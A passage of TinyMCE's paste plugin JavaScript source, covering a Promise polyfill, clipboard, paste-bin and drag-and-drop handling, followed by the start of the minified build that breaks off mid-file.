(resolve) { resolve(value); }); }; Promise.reject = function (value) { return new Promise(function (resolve, reject) { reject(value); }); }; Promise.race = function (values) { return new Promise(function (resolve, reject) { for (var i = 0, len = values.length; i < len; i++) { values[i].then(resolve, reject); } }); }; Promise._immediateFn = typeof setImmediate === 'function' ? function (fn) { setImmediate(fn); } : function (fn) { setTimeoutFunc(fn, 0); }; Promise._unhandledRejectionFn = function _unhandledRejectionFn(err) { if (typeof console !== 'undefined' && console) { console.warn('Possible Unhandled Promise Rejection:', err); } }; Promise._setImmediateFn = function _setImmediateFn(fn) { Promise._immediateFn = fn; }; Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) { Promise._unhandledRejectionFn = fn; }; if (typeof module !== 'undefined' && module.exports) { module.exports = Promise; } else if (!root.Promise) { root.Promise = Promise; } }(this)); }.call(this, require('timers').setImmediate)); }, { 'timers': 3 } ], 3: [ function (require, module, exports) { (function (setImmediate, clearImmediate) { var nextTick = require('process/browser.js').nextTick; var apply = Function.prototype.apply; var slice = Array.prototype.slice; var immediateIds = {}; var nextImmediateId = 0; exports.setTimeout = function () { return new Timeout(apply.call(setTimeout, window, arguments), clearTimeout); }; exports.setInterval = function () { return new Timeout(apply.call(setInterval, window, arguments), clearInterval); }; exports.clearTimeout = exports.clearInterval = function (timeout) { timeout.close(); }; function Timeout(id, clearFn) { this._id = id; this._clearFn = clearFn; } Timeout.prototype.unref = Timeout.prototype.ref = function () { }; Timeout.prototype.close = function () { this._clearFn.call(window, this._id); }; exports.enroll = function (item, msecs) { clearTimeout(item._idleTimeoutId); item._idleTimeout = msecs; }; exports.unenroll = function (item) { clearTimeout(item._idleTimeoutId); item._idleTimeout = -1; }; exports._unrefActive = exports.active = function (item) { clearTimeout(item._idleTimeoutId); var msecs = item._idleTimeout; if (msecs >= 0) { item._idleTimeoutId = setTimeout(function onTimeout() { if (item._onTimeout) item._onTimeout(); }, msecs); } }; exports.setImmediate = typeof setImmediate === 'function' ? setImmediate : function (fn) { var id = nextImmediateId++; var args = arguments.length < 2 ? false : slice.call(arguments, 1); immediateIds[id] = true; nextTick(function onNextTick() { if (immediateIds[id]) { if (args) { fn.apply(null, args); } else { fn.call(null); } exports.clearImmediate(id); } }); return id; }; exports.clearImmediate = typeof clearImmediate === 'function' ? clearImmediate : function (id) { delete immediateIds[id]; }; }.call(this, require('timers').setImmediate, require('timers').clearImmediate)); }, { 'process/browser.js': 1, 'timers': 3 } ], 4: [ function (require, module, exports) { var promisePolyfill = require('promise-polyfill'); var Global = function () { if (typeof window !== 'undefined') { return window; } else { return Function('return this;')(); } }(); module.exports = { boltExport: Global.Promise || promisePolyfill }; }, { 'promise-polyfill': 2 } ] }, {}, [4])(4); })); }(undefined, exports$1, module, undefined)); var Promise = module.exports.boltExport; var nu = function (baseFn) { var data = Option.none(); var callbacks = []; var map = function (f) { return nu(function (nCallback) { get(function (data) { nCallback(f(data)); }); }); }; var get = function (nCallback) { if (isReady()) { call(nCallback); } else { callbacks.push(nCallback); } }; var set = function (x) { data = Option.some(x); run(callbacks); callbacks = []; }; var isReady = function () { return data.isSome(); }; var run = function (cbs) { each(cbs, call); }; var call = function (cb) { data.each(function (x) { domGlobals.setTimeout(function () { cb(x); }, 0); }); }; baseFn(set); return { get: get, map: map, isReady: isReady }; }; var pure = function (a) { return nu(function (callback) { callback(a); }); }; var LazyValue = { nu: nu, pure: pure }; var errorReporter = function (err) { domGlobals.setTimeout(function () { throw err; }, 0); }; var make = function (run) { var get = function (callback) { run().then(callback, errorReporter); }; var map = function (fab) { return make(function () { return run().then(fab); }); }; var bind = function (aFutureB) { return make(function () { return run().then(function (v) { return aFutureB(v).toPromise(); }); }); }; var anonBind = function (futureB) { return make(function () { return run().then(function () { return futureB.toPromise(); }); }); }; var toLazy = function () { return LazyValue.nu(get); }; var toCached = function () { var cache = null; return make(function () { if (cache === null) { cache = run(); } return cache; }); }; var toPromise = run; return { map: map, bind: bind, anonBind: anonBind, toLazy: toLazy, toCached: toCached, toPromise: toPromise, get: get }; }; var nu$1 = function (baseFn) { return make(function () { return new Promise(baseFn); }); }; var pure$1 = function (a) { return make(function () { return Promise.resolve(a); }); }; var Future = { nu: nu$1, pure: pure$1 }; var par = function (asyncValues, nu) { return nu(function (callback) { var r = []; var count = 0; var cb = function (i) { return function (value) { r[i] = value; count++; if (count >= asyncValues.length) { callback(r); } }; }; if (asyncValues.length === 0) { callback([]); } else { each(asyncValues, function (asyncValue, i) { asyncValue.get(cb(i)); }); } }); }; var par$1 = function (futures) { return par(futures, Future.nu); }; var traverse = function (array, fn) { return par$1(map(array, fn)); }; var mapM = traverse; var value = function () { var subject = Cell(Option.none()); var clear = function () { subject.set(Option.none()); }; var set = function (s) { subject.set(Option.some(s)); }; var on = function (f) { subject.get().each(f); }; var isSet = function () { return subject.get().isSome(); }; return { clear: clear, set: set, isSet: isSet, on: on }; }; var pasteHtml$1 = function (editor, html, internalFlag) { var internal = internalFlag ? internalFlag : InternalHtml.isMarked(html); var args = ProcessFilters.process(editor, InternalHtml.unmark(html), internal); if (args.cancelled === false) { SmartPaste.insertContent(editor, args.content); } }; var pasteText = function (editor, text) { text = editor.dom.encode(text).replace(/\r\n/g, '\n'); text = Newlines.convert(text, editor.settings.forced_root_block, editor.settings.forced_root_block_attrs); pasteHtml$1(editor, text, false); }; var getDataTransferItems = function (dataTransfer) { var items = {}; var mceInternalUrlPrefix = 'data:text/mce-internal,'; if (dataTransfer) { if (dataTransfer.getData) { var legacyText = dataTransfer.getData('Text'); if (legacyText && legacyText.length > 0) { if (legacyText.indexOf(mceInternalUrlPrefix) === -1) { items['text/plain'] = legacyText; } } } if (dataTransfer.types) { for (var i = 0; i < dataTransfer.types.length; i++) { var contentType = dataTransfer.types[i]; try { items[contentType] = dataTransfer.getData(contentType); } catch (ex) { items[contentType] = ''; } } } } return items; }; var getClipboardContent = function (editor, clipboardEvent) { var content = getDataTransferItems(clipboardEvent.clipboardData || editor.getDoc().dataTransfer); return Utils.isMsEdge() ? global$4.extend(content, { 'text/html': '' }) : content; }; var hasContentType = function (clipboardContent, mimeType) { return mimeType in clipboardContent && clipboardContent[mimeType].length > 0; }; var hasHtmlOrText = function (content) { return hasContentType(content, 'text/html') || hasContentType(content, 'text/plain'); }; var getBase64FromUri = function (uri) { var idx; idx = uri.indexOf(','); if (idx !== -1) { return uri.substr(idx + 1); } return null; }; var isValidDataUriImage = function (settings, imgElm) { return settings.images_dataimg_filter ? settings.images_dataimg_filter(imgElm) : true; }; var extractFilename = function (editor, str) { var m = str.match(/([\s\S]+?)\.(?:jpeg|jpg|png|gif)$/i); return m ? editor.dom.encode(m[1]) : null; }; var uniqueId = Utils.createIdGenerator('mceclip'); var pasteImage = function (editor, imageItem) { var base64 = getBase64FromUri(imageItem.uri); var id = uniqueId(); var name = editor.settings.images_reuse_filename && imageItem.blob.name ? extractFilename(editor, imageItem.blob.name) : id; var img = new domGlobals.Image(); img.src = imageItem.uri; if (isValidDataUriImage(editor.settings, img)) { var blobCache = editor.editorUpload.blobCache; var blobInfo = void 0, existingBlobInfo = void 0; existingBlobInfo = blobCache.findFirst(function (cachedBlobInfo) { return cachedBlobInfo.base64() === base64; }); if (!existingBlobInfo) { blobInfo = blobCache.create(id, imageItem.blob, base64, name); blobCache.add(blobInfo); } else { blobInfo = existingBlobInfo; } pasteHtml$1(editor, '', false); } else { pasteHtml$1(editor, '', false); } }; var isClipboardEvent = function (event) { return event.type === 'paste'; }; var readBlobsAsDataUris = function (items) { return mapM(items, function (item) { return Future.nu(function (resolve) { var blob = item.getAsFile ? item.getAsFile() : item; var reader = new window.FileReader(); reader.onload = function () { resolve({ blob: blob, uri: reader.result }); }; reader.readAsDataURL(blob); }); }); }; var getImagesFromDataTransfer = function (dataTransfer) { var items = dataTransfer.items ? map(from$1(dataTransfer.items), function (item) { return item.getAsFile(); }) : []; var files = dataTransfer.files ? from$1(dataTransfer.files) : []; var images = filter$1(items.length > 0 ? items : files, function (file) { return /^image\/(jpeg|png|gif|bmp)$/.test(file.type); }); return images; }; var pasteImageData = function (editor, e, rng) { var dataTransfer = isClipboardEvent(e) ? e.clipboardData : e.dataTransfer; if (editor.settings.paste_data_images && dataTransfer) { var images = getImagesFromDataTransfer(dataTransfer); if (images.length > 0) { e.preventDefault(); readBlobsAsDataUris(images).get(function (blobResults) { if (rng) { editor.selection.setRng(rng); } each(blobResults, function (result) { pasteImage(editor, result); }); }); return true; } } return false; }; var isBrokenAndroidClipboardEvent = function (e) { var clipboardData = e.clipboardData; return domGlobals.navigator.userAgent.indexOf('Android') !== -1 && clipboardData && clipboardData.items && clipboardData.items.length === 0; }; var isKeyboardPasteEvent = function (e) { return global$5.metaKeyPressed(e) && e.keyCode === 86 || e.shiftKey && e.keyCode === 45; }; var registerEventHandlers = function (editor, pasteBin, pasteFormat) { var keyboardPasteEvent = value(); var keyboardPastePlainTextState; editor.on('keydown', function (e) { function removePasteBinOnKeyUp(e) { if (isKeyboardPasteEvent(e) && !e.isDefaultPrevented()) { pasteBin.remove(); } } if (isKeyboardPasteEvent(e) && !e.isDefaultPrevented()) { keyboardPastePlainTextState = e.shiftKey && e.keyCode === 86; if (keyboardPastePlainTextState && global$2.webkit && domGlobals.navigator.userAgent.indexOf('Version/') !== -1) { return; } e.stopImmediatePropagation(); keyboardPasteEvent.set(e); window.setTimeout(function () { keyboardPasteEvent.clear(); }, 100); if (global$2.ie && keyboardPastePlainTextState) { e.preventDefault(); Events.firePaste(editor, true); return; } pasteBin.remove(); pasteBin.create(); editor.once('keyup', removePasteBinOnKeyUp); editor.once('paste', function () { editor.off('keyup', removePasteBinOnKeyUp); }); } }); function insertClipboardContent(clipboardContent, isKeyBoardPaste, plainTextMode, internal) { var content, isPlainTextHtml; if (hasContentType(clipboardContent, 'text/html')) { content = clipboardContent['text/html']; } else { content = pasteBin.getHtml(); internal = internal ? internal : InternalHtml.isMarked(content); if (pasteBin.isDefaultContent(content)) { plainTextMode = true; } } content = Utils.trimHtml(content); pasteBin.remove(); isPlainTextHtml = internal === false && Newlines.isPlainText(content); if (!content.length || isPlainTextHtml) { plainTextMode = true; } if (plainTextMode) { if (hasContentType(clipboardContent, 'text/plain') && isPlainTextHtml) { content = clipboardContent['text/plain']; } else { content = Utils.innerText(content); } } if (pasteBin.isDefaultContent(content)) { if (!isKeyBoardPaste) { editor.windowManager.alert('Please use Ctrl+V/Cmd+V keyboard shortcuts to paste contents.'); } return; } if (plainTextMode) { pasteText(editor, content); } else { pasteHtml$1(editor, content, internal); } } var getLastRng = function () { return pasteBin.getLastRng() || editor.selection.getRng(); }; editor.on('paste', function (e) { var isKeyBoardPaste = keyboardPasteEvent.isSet(); var clipboardContent = getClipboardContent(editor, e); var plainTextMode = pasteFormat.get() === 'text' || keyboardPastePlainTextState; var internal = hasContentType(clipboardContent, InternalHtml.internalHtmlMime()); keyboardPastePlainTextState = false; if (e.isDefaultPrevented() || isBrokenAndroidClipboardEvent(e)) { pasteBin.remove(); return; } if (!hasHtmlOrText(clipboardContent) && pasteImageData(editor, e, getLastRng())) { pasteBin.remove(); return; } if (!isKeyBoardPaste) { e.preventDefault(); } if (global$2.ie && (!isKeyBoardPaste || e.ieFake) && !hasContentType(clipboardContent, 'text/html')) { pasteBin.create(); editor.dom.bind(pasteBin.getEl(), 'paste', function (e) { e.stopPropagation(); }); editor.getDoc().execCommand('Paste', false, null); clipboardContent['text/html'] = pasteBin.getHtml(); } if (hasContentType(clipboardContent, 'text/html')) { e.preventDefault(); if (!internal) { internal = InternalHtml.isMarked(clipboardContent['text/html']); } insertClipboardContent(clipboardContent, isKeyBoardPaste, plainTextMode, internal); } else { global$3.setEditorTimeout(editor, function () { insertClipboardContent(clipboardContent, isKeyBoardPaste, plainTextMode, internal); }, 0); } }); }; var registerEventsAndFilters = function (editor, pasteBin, pasteFormat) { registerEventHandlers(editor, pasteBin, pasteFormat); var src; editor.parser.addNodeFilter('img', function (nodes, name, args) { var isPasteInsert = function (args) { return args.data && args.data.paste === true; }; var remove = function (node) { if (!node.attr('data-mce-object') && src !== global$2.transparentSrc) { node.remove(); } }; var isWebKitFakeUrl = function (src) { return src.indexOf('webkit-fake-url') === 0; }; var isDataUri = function (src) { return src.indexOf('data:') === 0; }; if (!editor.settings.paste_data_images && isPasteInsert(args)) { var i = nodes.length; while (i--) { src = nodes[i].attributes.map.src; if (!src) { continue; } if (isWebKitFakeUrl(src)) { remove(nodes[i]); } else if (!editor.settings.allow_html_data_urls && isDataUri(src)) { remove(nodes[i]); } } } }); }; var getPasteBinParent = function (editor) { return global$2.ie && editor.inline ? domGlobals.document.body : editor.getBody(); }; var isExternalPasteBin = function (editor) { return getPasteBinParent(editor) !== editor.getBody(); }; var delegatePasteEvents = function (editor, pasteBinElm, pasteBinDefaultContent) { if (isExternalPasteBin(editor)) { editor.dom.bind(pasteBinElm, 'paste keyup', function (e) { if (!isDefault(editor, pasteBinDefaultContent)) { editor.fire('paste'); } }); } }; var create = function (editor, lastRngCell, pasteBinDefaultContent) { var dom = editor.dom, body = editor.getBody(); var pasteBinElm; lastRngCell.set(editor.selection.getRng()); pasteBinElm = editor.dom.add(getPasteBinParent(editor), 'div', { 'id': 'mcepastebin', 'class': 'mce-pastebin', 'contentEditable': true, 'data-mce-bogus': 'all', 'style': 'position: fixed; top: 50%; width: 10px; height: 10px; overflow: hidden; opacity: 0' }, pasteBinDefaultContent); if (global$2.ie || global$2.gecko) { dom.setStyle(pasteBinElm, 'left', dom.getStyle(body, 'direction', true) === 'rtl' ? 65535 : -65535); } dom.bind(pasteBinElm, 'beforedeactivate focusin focusout', function (e) { e.stopPropagation(); }); delegatePasteEvents(editor, pasteBinElm, pasteBinDefaultContent); pasteBinElm.focus(); editor.selection.select(pasteBinElm, true); }; var remove = function (editor, lastRngCell) { if (getEl(editor)) { var pasteBinClone = void 0; var lastRng = lastRngCell.get(); while (pasteBinClone = editor.dom.get('mcepastebin')) { editor.dom.remove(pasteBinClone); editor.dom.unbind(pasteBinClone); } if (lastRng) { editor.selection.setRng(lastRng); } } lastRngCell.set(null); }; var getEl = function (editor) { return editor.dom.get('mcepastebin'); }; var getHtml = function (editor) { var pasteBinElm, pasteBinClones, i, dirtyWrappers, cleanWrapper; var copyAndRemove = function (toElm, fromElm) { toElm.appendChild(fromElm); editor.dom.remove(fromElm, true); }; pasteBinClones = global$4.grep(getPasteBinParent(editor).childNodes, function (elm) { return elm.id === 'mcepastebin'; }); pasteBinElm = pasteBinClones.shift(); global$4.each(pasteBinClones, function (pasteBinClone) { copyAndRemove(pasteBinElm, pasteBinClone); }); dirtyWrappers = editor.dom.select('div[id=mcepastebin]', pasteBinElm); for (i = dirtyWrappers.length - 1; i >= 0; i--) { cleanWrapper = editor.dom.create('div'); pasteBinElm.insertBefore(cleanWrapper, dirtyWrappers[i]); copyAndRemove(cleanWrapper, dirtyWrappers[i]); } return pasteBinElm ? pasteBinElm.innerHTML : ''; }; var getLastRng = function (lastRng) { return lastRng.get(); }; var isDefaultContent = function (pasteBinDefaultContent, content) { return content === pasteBinDefaultContent; }; var isPasteBin = function (elm) { return elm && elm.id === 'mcepastebin'; }; var isDefault = function (editor, pasteBinDefaultContent) { var pasteBinElm = getEl(editor); return isPasteBin(pasteBinElm) && isDefaultContent(pasteBinDefaultContent, pasteBinElm.innerHTML); }; var PasteBin = function (editor) { var lastRng = Cell(null); var pasteBinDefaultContent = '%MCEPASTEBIN%'; return { create: function () { return create(editor, lastRng, pasteBinDefaultContent); }, remove: function () { return remove(editor, lastRng); }, getEl: function () { return getEl(editor); }, getHtml: function () { return getHtml(editor); }, getLastRng: function () { return getLastRng(lastRng); }, isDefault: function () { return isDefault(editor, pasteBinDefaultContent); }, isDefaultContent: function (content) { return isDefaultContent(pasteBinDefaultContent, content); } }; }; var Clipboard = function (editor, pasteFormat) { var pasteBin = PasteBin(editor); editor.on('preInit', function () { return registerEventsAndFilters(editor, pasteBin, pasteFormat); }); return { pasteFormat: pasteFormat, pasteHtml: function (html, internalFlag) { return pasteHtml$1(editor, html, internalFlag); }, pasteText: function (text) { return pasteText(editor, text); }, pasteImageData: function (e, rng) { return pasteImageData(editor, e, rng); }, getDataTransferItems: getDataTransferItems, hasHtmlOrText: hasHtmlOrText, hasContentType: hasContentType }; }; var noop$1 = function () { }; var hasWorkingClipboardApi = function (clipboardData) { return global$2.iOS === false && clipboardData !== undefined && typeof clipboardData.setData === 'function' && Utils.isMsEdge() !== true; }; var setHtml5Clipboard = function (clipboardData, html, text) { if (hasWorkingClipboardApi(clipboardData)) { try { clipboardData.clearData(); clipboardData.setData('text/html', html); clipboardData.setData('text/plain', text); clipboardData.setData(InternalHtml.internalHtmlMime(), html); return true; } catch (e) { return false; } } else { return false; } }; var setClipboardData = function (evt, data, fallback, done) { if (setHtml5Clipboard(evt.clipboardData, data.html, data.text)) { evt.preventDefault(); done(); } else { fallback(data.html, done); } }; var fallback = function (editor) { return function (html, done) { var markedHtml = InternalHtml.mark(html); var outer = editor.dom.create('div', { 'contenteditable': 'false', 'data-mce-bogus': 'all' }); var inner = editor.dom.create('div', { contenteditable: 'true' }, markedHtml); editor.dom.setStyles(outer, { position: 'fixed', top: '0', left: '-3000px', width: '1000px', overflow: 'hidden' }); outer.appendChild(inner); editor.dom.add(editor.getBody(), outer); var range = editor.selection.getRng(); inner.focus(); var offscreenRange = editor.dom.createRng(); offscreenRange.selectNodeContents(inner); editor.selection.setRng(offscreenRange); setTimeout(function () { editor.selection.setRng(range); outer.parentNode.removeChild(outer); done(); }, 0); }; }; var getData = function (editor) { return { html: editor.selection.getContent({ contextual: true }), text: editor.selection.getContent({ format: 'text' }) }; }; var isTableSelection = function (editor) { return !!editor.dom.getParent(editor.selection.getStart(), 'td[data-mce-selected],th[data-mce-selected]', editor.getBody()); }; var hasSelectedContent = function (editor) { return !editor.selection.isCollapsed() || isTableSelection(editor); }; var cut = function (editor) { return function (evt) { if (hasSelectedContent(editor)) { setClipboardData(evt, getData(editor), fallback(editor), function () { setTimeout(function () { editor.execCommand('Delete'); }, 0); }); } }; }; var copy = function (editor) { return function (evt) { if (hasSelectedContent(editor)) { setClipboardData(evt, getData(editor), fallback(editor), noop$1); } }; }; var register$1 = function (editor) { editor.on('cut', cut(editor)); editor.on('copy', copy(editor)); }; var CutCopy = { register: register$1 }; var global$b = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils'); var getCaretRangeFromEvent = function (editor, e) { return global$b.getCaretRangeFromPoint(e.clientX, e.clientY, editor.getDoc()); }; var isPlainTextFileUrl = function (content) { var plainTextContent = content['text/plain']; return plainTextContent ? plainTextContent.indexOf('file://') === 0 : false; }; var setFocusedRange = function (editor, rng) { editor.focus(); editor.selection.setRng(rng); }; var setup = function (editor, clipboard, draggingInternallyState) { if (Settings.shouldBlockDrop(editor)) { editor.on('dragend dragover draggesture dragdrop drop drag', function (e) { e.preventDefault(); e.stopPropagation(); }); } if (!Settings.shouldPasteDataImages(editor)) { editor.on('drop', function (e) { var dataTransfer = e.dataTransfer; if (dataTransfer && dataTransfer.files && dataTransfer.files.length > 0) { e.preventDefault(); } }); } editor.on('drop', function (e) { var dropContent, rng; rng = getCaretRangeFromEvent(editor, e); if (e.isDefaultPrevented() || draggingInternallyState.get()) { return; } dropContent = clipboard.getDataTransferItems(e.dataTransfer); var internal = clipboard.hasContentType(dropContent, InternalHtml.internalHtmlMime()); if ((!clipboard.hasHtmlOrText(dropContent) || isPlainTextFileUrl(dropContent)) && clipboard.pasteImageData(e, rng)) { return; } if (rng && Settings.shouldFilterDrop(editor)) { var content_1 = dropContent['mce-internal'] || dropContent['text/html'] || dropContent['text/plain']; if (content_1) { e.preventDefault(); global$3.setEditorTimeout(editor, function () { editor.undoManager.transact(function () { if (dropContent['mce-internal']) { editor.execCommand('Delete'); } setFocusedRange(editor, rng); content_1 = Utils.trimHtml(content_1); if (!dropContent['text/html']) { clipboard.pasteText(content_1); } else { clipboard.pasteHtml(content_1, internal); } }); }); } } }); editor.on('dragstart', function (e) { draggingInternallyState.set(true); }); editor.on('dragover dragend', function (e) { if (Settings.shouldPasteDataImages(editor) && draggingInternallyState.get() === false) { e.preventDefault(); setFocusedRange(editor, getCaretRangeFromEvent(editor, e)); } if (e.type === 'dragend') { draggingInternallyState.set(false); } }); }; var DragDrop = { setup: setup }; var setup$1 = function (editor) { var plugin = editor.plugins.paste; var preProcess = Settings.getPreProcess(editor); if (preProcess) { editor.on('PastePreProcess', function (e) { preProcess.call(plugin, plugin, e); }); } var postProcess = Settings.getPostProcess(editor); if (postProcess) { editor.on('PastePostProcess', function (e) { postProcess.call(plugin, plugin, e); }); } }; var PrePostProcess = { setup: setup$1 }; function addPreProcessFilter(editor, filterFunc) { editor.on('PastePreProcess', function (e) { e.content = filterFunc(editor, e.content, e.internal, e.wordContent); }); } function addPostProcessFilter(editor, filterFunc) { editor.on('PastePostProcess', function (e) { filterFunc(editor, e.node); }); } function removeExplorerBrElementsAfterBlocks(editor, html) { if (!WordFilter.isWordContent(html)) { return html; } var blockElements = []; global$4.each(editor.schema.getBlockElements(), function (block, blockName) { blockElements.push(blockName); }); var explorerBlocksRegExp = new RegExp('(?:
 [\\s\\r\\n]+|
)*(<\\/?(' + blockElements.join('|') + ')[^>]*>)(?:
 [\\s\\r\\n]+|
)*', 'g'); html = Utils.filter(html, [[ explorerBlocksRegExp, '$1' ]]); html = Utils.filter(html, [ [ /

/g, '

' ], [ /
/g, ' ' ], [ /

/g, '
' ] ]); return html; } function removeWebKitStyles(editor, content, internal, isWordHtml) { if (isWordHtml || internal) { return content; } var webKitStylesSetting = Settings.getWebkitStyles(editor); var webKitStyles; if (Settings.shouldRemoveWebKitStyles(editor) === false || webKitStylesSetting === 'all') { return content; } if (webKitStylesSetting) { webKitStyles = webKitStylesSetting.split(/[, ]/); } if (webKitStyles) { var dom_1 = editor.dom, node_1 = editor.selection.getNode(); content = content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi, function (all, before, value, after) { var inputStyles = dom_1.parseStyle(dom_1.decode(value)); var outputStyles = {}; if (webKitStyles === 'none') { return before + after; } for (var i = 0; i < webKitStyles.length; i++) { var inputValue = inputStyles[webKitStyles[i]], currentValue = dom_1.getStyle(node_1, webKitStyles[i], true); if (/color/.test(webKitStyles[i])) { inputValue = dom_1.toHex(inputValue); currentValue = dom_1.toHex(currentValue); } if (currentValue !== inputValue) { outputStyles[webKitStyles[i]] = inputValue; } } outputStyles = dom_1.serializeStyle(outputStyles, 'span'); if (outputStyles) { return before + ' style="' + outputStyles + '"' + after; } return before + after; }); } else { content = content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi, '$1$3'); } content = content.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi, function (all, before, value, after) { return before + ' style="' + value + '"' + after; }); return content; } function removeUnderlineAndFontInAnchor(editor, root) { editor.$('a', root).find('font,u').each(function (i, node) { editor.dom.remove(node, true); }); } var setup$2 = function (editor) { if (global$2.webkit) { addPreProcessFilter(editor, removeWebKitStyles); } if (global$2.ie) { addPreProcessFilter(editor, removeExplorerBrElementsAfterBlocks); addPostProcessFilter(editor, removeUnderlineAndFontInAnchor); } }; var Quirks = { setup: setup$2 }; var stateChange = function (editor, clipboard, e) { var ctrl = e.control; ctrl.active(clipboard.pasteFormat.get() === 'text'); editor.on('PastePlainTextToggle', function (e) { ctrl.active(e.state); }); }; var register$2 = function (editor, clipboard) { var postRender = curry(stateChange, editor, clipboard); editor.addButton('pastetext', { active: false, icon: 'pastetext', tooltip: 'Paste as text', cmd: 'mceTogglePlainTextPaste', onPostRender: postRender }); editor.addMenuItem('pastetext', { text: 'Paste as text', selectable: true, active: clipboard.pasteFormat, cmd: 'mceTogglePlainTextPaste', onPostRender: postRender }); }; var Buttons = { register: register$2 }; global$1.add('paste', function (editor) { if (DetectProPlugin.hasProPlugin(editor) === false) { var userIsInformedState = Cell(false); var draggingInternallyState = Cell(false); var pasteFormat = Cell(Settings.isPasteAsTextEnabled(editor) ? 'text' : 'html'); var clipboard = Clipboard(editor, pasteFormat); var quirks = Quirks.setup(editor); Buttons.register(editor, clipboard); Commands.register(editor, clipboard, userIsInformedState); PrePostProcess.setup(editor); CutCopy.register(editor); DragDrop.setup(editor, clipboard, draggingInternallyState); return Api.get(clipboard, quirks); } }); function Plugin () { } return Plugin; }(window)); })(); paste/plugin.min.js000060400000074165151734645250010323 0ustar00!function(v){"use strict";var p=function(t){var e=t,n=function(){return e};return{get:n,set:function(t){e=t},clone:function(){return p(n())}}},e=tinymce.util.Tools.resolve("tinymce.PluginManager"),a=function(t){return!(!/(^|[ ,])powerpaste([, ]|$)/.test(t.settings.plugins)||!e.get("powerpaste")||("undefined"!=typeof v.window.console&&v.window.console.log&&v.window.console.log("PowerPaste is incompatible with Paste plugin! Remove 'paste' from the 'plugins' option."),0))},u=function(t,e){return{clipboard:t,quirks:e}},d=function(t,e,n,r){return t.fire("PastePreProcess",{content:e,internal:n,wordContent:r})},m=function(t,e,n,r){return t.fire("PastePostProcess",{node:e,internal:n,wordContent:r})},s=function(t,e){return t.fire("PastePlainTextToggle",{state:e})},n=function(t,e){return t.fire("paste",{ieFake:e})},g={shouldPlainTextInform:function(t){return t.getParam("paste_plaintext_inform",!0)},shouldBlockDrop:function(t){return t.getParam("paste_block_drop",!1)},shouldPasteDataImages:function(t){return t.getParam("paste_data_images",!1)},shouldFilterDrop:function(t){return t.getParam("paste_filter_drop",!0)},getPreProcess:function(t){return t.getParam("paste_preprocess")},getPostProcess:function(t){return t.getParam("paste_postprocess")},getWebkitStyles:function(t){return t.getParam("paste_webkit_styles")},shouldRemoveWebKitStyles:function(t){return t.getParam("paste_remove_styles_if_webkit",!0)},shouldMergeFormats:function(t){return t.getParam("paste_merge_formats",!0)},isSmartPasteEnabled:function(t){return t.getParam("smart_paste",!0)},isPasteAsTextEnabled:function(t){return t.getParam("paste_as_text",!1)},getRetainStyleProps:function(t){return t.getParam("paste_retain_style_properties")},getWordValidElements:function(t){return t.getParam("paste_word_valid_elements","-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody")},shouldConvertWordFakeLists:function(t){return t.getParam("paste_convert_word_fake_lists",!0)},shouldUseDefaultFilters:function(t){return t.getParam("paste_enable_default_filters",!0)}},r=function(t,e,n){var r,o,i;"text"===e.pasteFormat.get()?(e.pasteFormat.set("html"),s(t,!1)):(e.pasteFormat.set("text"),s(t,!0),i=t,!1===n.get()&&g.shouldPlainTextInform(i)&&(o="Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.",(r=t).notificationManager.open({text:r.translate(o),type:"info"}),n.set(!0))),t.focus()},c=function(t,n,e){t.addCommand("mceTogglePlainTextPaste",function(){r(t,n,e)}),t.addCommand("mceInsertClipboardContent",function(t,e){e.content&&n.pasteHtml(e.content,e.internal),e.text&&n.pasteText(e.text)})},h=tinymce.util.Tools.resolve("tinymce.Env"),y=tinymce.util.Tools.resolve("tinymce.util.Delay"),b=tinymce.util.Tools.resolve("tinymce.util.Tools"),o=tinymce.util.Tools.resolve("tinymce.util.VK"),t="x-tinymce/html",i="\x3c!-- "+t+" --\x3e",l=function(t){return i+t},f=function(t){return t.replace(i,"")},w=function(t){return-1!==t.indexOf(i)},x=function(){return t},_=tinymce.util.Tools.resolve("tinymce.html.Entities"),P=function(t){return t.replace(/\r?\n/g,"
")},T=function(t,e,n){var r=t.split(/\n\n/),o=function(t,e){var n,r=[],o="<"+t;if("object"==typeof e){for(n in e)e.hasOwnProperty(n)&&r.push(n+'="'+_.encodeAllRaw(e[n])+'"');r.length&&(o+=" "+r.join(" "))}return o+">"}(e,n),i="",a=b.map(r,function(t){return t.split(/\n/).join("
")});return 1===a.length?a[0]:b.map(a,function(t){return o+t+i}).join("")},D=function(t){return!/<(?:\/?(?!(?:div|p|br|span)>)\w+|(?:(?!(?:span style="white-space:\s?pre;?">)|br\s?\/>))\w+\s[^>]+)>/i.test(t)},C=function(t,e,n){return e?T(t,e,n):P(t)},k=tinymce.util.Tools.resolve("tinymce.html.DomParser"),F=tinymce.util.Tools.resolve("tinymce.html.Serializer"),E=tinymce.util.Tools.resolve("tinymce.html.Node"),R=tinymce.util.Tools.resolve("tinymce.html.Schema");function I(e,t){return b.each(t,function(t){e=t.constructor===RegExp?e.replace(t,""):e.replace(t[0],t[1])}),e}var O={filter:I,innerText:function(e){var n=R(),r=k({},n),o="",i=n.getShortEndedElements(),a=b.makeMap("script noscript style textarea video audio iframe object"," "),u=n.getBlockElements();return e=I(e,[//g]),function t(e){var n=e.name,r=e;if("br"!==n){if("wbr"!==n)if(i[n]&&(o+=" "),a[n])o+=" ";else{if(3===e.type&&(o+=e.value),!e.shortEnded&&(e=e.firstChild))for(;t(e),e=e.next;);u[n]&&r.next&&(o+="\n","p"===n&&(o+="\n"))}}else o+="\n"}(r.parse(e)),o},trimHtml:function(t){return t=I(t,[/^[\s\S]*]*>\s*|\s*<\/body[^>]*>[\s\S]*$/gi,/|/g,[/( ?)\u00a0<\/span>( ?)/g,function(t,e,n){return e||n?"\xa0":" "}],/
/g,/
